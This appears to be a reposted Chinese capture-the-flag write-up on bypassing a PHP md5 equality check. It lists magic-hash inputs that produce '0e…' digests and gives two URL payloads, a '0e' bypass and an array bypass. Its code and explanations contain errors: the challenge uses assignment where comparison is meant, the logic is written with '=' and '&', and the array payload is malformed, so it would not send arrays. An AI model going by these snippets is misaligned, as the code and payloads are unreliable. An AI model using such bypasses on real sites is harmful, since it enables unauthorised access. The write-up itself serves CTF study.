标签：加密 s155964671a 碰撞 flag 绕过 null md5

记录一次web解题绕过md5()的方法，仅供参考咯。

$a=$_GET['a'];
$b=$_GET['b'];
if((md5($a)=md5($b)) and ($a != $b))
	echo $flag;
else
	echo "nonono!";

出现类似要求md5加密后相等且不加密不等的问题便是双md5碰撞。
可以利用PHP中md5函数的特性求解

解法一：0e绕过（科学计数法）
当一个值被md5加密后，其结果以0e开头，则会被当做科学计数法处理，最终会被处理为 0=0的效果，以此绕过。
类似被md5（）加密后的值还有：

240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514

因此构造payload如下：

xxx.com/index.php?a='s155964671a'&b='aabC9RqS'

后台会被处理为if(0=0&‘s155964671a’!=‘aabC9RqS’),最终绕过，得到flag。

解法二：数组绕过
md5() 函数不能处理数组，数组都返回 null，md5(a[]) 结果为 null
即payload如下：

xxx.com/index.php?a=s[1]&b=s[2]

如此变为 if(null=null&s[1]!=s[2]),绕过成功，得到flag。

标签：加密,s155964671a,碰撞,flag,绕过,null,md5
来源： https://blog.csdn.net/weixin_52118430/article/details/123098506

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。